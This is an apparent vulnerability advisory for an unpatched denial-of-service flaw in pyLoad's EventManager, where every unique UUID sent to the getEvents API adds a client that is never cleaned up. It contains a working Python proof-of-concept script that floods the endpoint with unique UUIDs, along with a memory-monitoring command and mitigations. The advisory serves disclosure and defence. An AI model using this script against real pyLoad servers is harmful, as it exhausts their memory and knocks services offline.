CVE-2026-48987: pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager
Description: The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the getevents API causes the creation of a Client instance that gets appended to the clients list.
Published Jul 9, 2026
Affected packages
pyload-ng
- Ecosystem
- PyPI
- Affected
- <= 0.5.0b3.dev100
- Fixed in
- No patched version yet
- Check
pip show pyload-ng
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Description:
The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.
Vulnerable Code:
https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17
Here the client is added to the clients list but never cleared the inactive clients.
Exploitation:
- Start pyLoad server (Ensure the
pyloadserver is running) - Authenticate: Obtain a session cookie or an API key (Here i used the API key).
- Send Requests: Run the below poc script to send a large number of requests to the
getEventsAPI endpoint, each with a uniqueuuid.
import requests
import uuid
import time
# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM_REQUESTS = 100000
headers = {
"X-API-Key" : "<YOUR_APIKEY>"
}
print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")
for i in range(NUM_REQUESTS):
# Generating a new UUID
uid = str(uuid.uuid4())
try:
# Sending request
requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
if i % 1000 == 0:
print(f"Sent {i} requests...")
except requests.exceptions.RequestException as e:
print(f"Error at request {i}: {e}")
break
print("Attack complete. Check memory usage.")
- Monitor Memory: Monitor the memory usage of the
pyloadprocess (e.g., usingtop,psor the following commands).
PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done- Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.
https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686
Impact:
- Denial of Service (DoS). The
pyloadprocess will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.
Mitigations:
- Invoke `clean()`: Call
self.clean()at the beginning of theget_eventsmethod to purge inactive clients before processing new ones. - Rate Limiting: Implement rate limiting on the
getEventsendpoint to prevent a single client from flooding the server with unique UUIDs.
Credited to pevinkumar10.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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